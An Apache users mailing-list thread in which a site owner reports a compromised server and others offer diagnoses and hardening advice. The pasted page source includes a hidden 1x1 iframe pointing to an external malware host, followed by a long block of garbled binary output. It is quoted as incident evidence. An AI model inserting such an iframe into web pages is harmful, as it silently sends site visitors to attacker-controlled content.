Oleg,

Some other things to check/do if you don't already know this...

Be sure that the httpd process runs as a completely unprivileged user with nothing but read access to ANYTHING.
Be sure that the content of your site is not owned by the same user as the httpd user.  Read only access should be through group, other or acl.
Be sure that the apache config files, libraries, binaries, etc. are owned by as different user then the httpd process user.  Read and Execute access should be through group, other or acl.

Same goes for MySQL and any other processes running on the machines.  The running processes should NOT have write access to their own config files.

Try to think about the problem form the running processes perspective, if I was the httpd/mysql/etc. process, what can I hurt?  Get that to a minimum.

If there is a buffer overflow problem somewhere, you might not be able to prevent the in memory running process from being hacked, but as long as they can't hack the files on the server(s), a quick stop/start or reboot should fix the problem.

Good Luck!

Dan


Please respond to users@httpd.apache.org

To:        users@httpd.apache.org
cc:         (bcc: Dan Mitton/YD/RWDOE)
Subject:        Re: [users@httpd] Someone hacked my apache2 server


LSN: Not Relevant
User Filed as: Not a Record

Oh, ok. I got it. I have already disabled it (actually, immediately after the attack).
Thanks for the advice. I appreciate!
Oleg.

On Sun, Apr 4, 2010 at 5:52 PM, Daniel Reinhardt <cryptodan@cryptodan.net> wrote:

--------------------------------------------------
From: "Oleg Goryunov" <
oleg.goryunov@gmail.com>
Sent: 04 April, 2010 13:39

To: <
users@httpd.apache.org>
Subject: Re: [users@httpd] Someone hacked my apache2 server


Yes, there is a MySQL server. And actually, I noticed that - while the
server was returning the mentioned hacked page, mysql process was on top of
the list of the "top" command. Though, it took only 1.5% of the CPU.
But, mysql is restricted to accept connections from outside world. It only
listens on local socket.
What kind of vulnarability does mysql have? Do you know where I can read
about it?
Oleg.

On Sun, Apr 4, 2010 at 4:55 PM, Daniel Reinhardt <
cryptodan@cryptodan.net>wrote:


--------------------------------------------------
From: "Oleg Goryunov" <
oleg.goryunov@gmail.com>
Sent: 03 April, 2010 21:03
To: <
users@httpd.apache.org>
Subject: [users@httpd] Someone hacked my apache2 server

 Hello all,

It looks like someone hacked my apache2 server and I am trying to
understand
how this could have happened.
This is what happened:
All of a sudden the server - in response to a web-browser request for a
page
- started to give a full screen of unknown characters (looked like a long
text with encoding mismatch).
The output was immediate and the same for all the web-sites located on the
server.
Looking at the page source of the output I see the following:
=========

<iframe src=  
http://azsxde55.9966.org:8800/ak47/29.html width=1
height=1></iframe> ������ [n8 � \-{ '&q I
]Ʒl{$fC*I f( 9N-Ϩp 9№f8  є̋.^M
ї$q \ ^!¤n\i*

\I*  k¤0fЇ8 o ¤&6 M*9lA Ζ"r|
0 G =  ǥ ! F& TPݯ*
MeJn  ) єa +i ;X@№a`
q 'T f s;<H@HYS en BZ \L:ROg ɻўє
J I%7 o

H5p}+
I' b'$s1A}RA s I9T1K Nc& ~w xgLw*1# l\B:e y
; ,B ! 2 ." ) ]  a`@Y6-Ў
ք1 m BI':Ek@g Nb' JY~24aA№hEjm .&c cq
bSy؈SP= R D o

#⠥ў$ @|H)A)7L19@/ d8R:%4F},L6 n S $.O(0ph
\Єl№ 4#'C.3 MU"Є#89諸>FG& Tj  ~
FZd�0KJ. bEحg 8.ljǷ 9Mx0YЄYЎ4" 93%gd ii(8
3%CTE xto H ݍ!- ^  A# tI9kUNm~;? v \
8Kїb75C4^z3xO_Nc^d№ЎaW^|xЊI2`nowў($^
K !є8ڡWYS   pq ЄtPє0ha :"V ǯi Z@
YўY,`- FE4a. v0  Ї ^ЎdTÈA>t  ǪєW }+ fUXўs  -wR
F5d


~ Y Y tlk`- mӳ .   ΂{ ?
u4dJЄ.Ԣ+rqy~Є٣m  * 35eza{#e:>_x  1/1xQݦ
E,".`ί\a E'YЇ
.Z :l.{`R Kt$hH  -ī,iv ¤"H ¤Ў№
LW0sc u R%4Yf5,(+yє:Ў %]wR%1.r ٧  YR<} ķ-q
_{2Yæ A+Q{

wA4RўsFڱ{ kސ8 #№~ o &28
^@O}:f -A k Ў{ݞ/Uїq$a˥xЄ| 5  1 є|  wo
4c�?dLM#xlJJa
v*ї8x~vow+v\ dJ!  _, K *Y
r148<kaCЄїGٶ"O ї R_Y.& |  tXH¤D r
¤

KV$ W'8z kYExupDBR4Iє42p$ ї¤f > ?>  'ci
׽i�a ~V M0 **єA #mgDS.Ö v 2X"N +Ї>~ ;ўL
O>p8< n|<_w?:Y l- SF fa,VWZW¤.]


ɮ9+B  A& -nUXuu F )Od
b6 kByV!'!DULA /%ї(dx6;H sOznH L
S(
D.GF <http://d.gf/>㰽&Z3NvJp hw]

№ im 47bzqh凭N&-

*X;TD{.XY nbglE$S q K#3F:1   q]r n:
;z05R r

yy4 >){(4   |ЇY8yzЇ@$D s№b1ӁPq_8q j
B  < *e kT| -Ў�Z = 4Q@ "LxAů Y
JƴЇ ӬЄ÷>nG~CH(d"c¤№a    69   oX;w lܲs   YL@
C Z "ЄPca)ge4NH  /!c ʥC .9+є 5X
6<ޑ�$ԷЄ №uatЄ^W?Kў2 Ҥ4 E

==================
The address indicated in the begining of the page code leads to some
chinese
server.
So, somehow it happened that the output of the apache server was
substituted
by this page, which redirected visitors to some chinese server.

But the most strange thing was that the problem dissapeared itself! So, it
last for 10 minutes then disappeared! And the again started and again
dissapeared. Finally, I turned down apache untill I understand what is
going
on...

Any idea how could that happen?  How to reproduce this? How to prevent?
Where to look for logs? I have check both ssh logs and apache logs, there
is
nothing that could seem unusual there...

Any help is appreciated.
Oleg.


Oleg,

Are you running any sort of MySQL Database on this machine, and if so is it
patched and fully updated along with any php scripts.  What you are showing
us is indicative of a SQL Injection Attack.

Shocked no one has mentioned especially with the rampant incline of the
Russian Business Network to spread its malware through the use of SQL
Injection on any vulnerable website.

Thanks,
Daniel

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:
http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail:
users-unsubscribe@httpd.apache.org
 "   from the digest:
users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail:
users-help@httpd.apache.org




Oleg,

Its not a vulnerability with MySQL it is a vulnerable PHP Script such as an outdated PHPMyAdmin or PHPMyAdmin itself.  I hardly run it on my servers.  I would promptly disable it.



Thanks,
Daniel

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:
http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail:
users-unsubscribe@httpd.apache.org
 "   from the digest:
users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail:
users-help@httpd.apache.org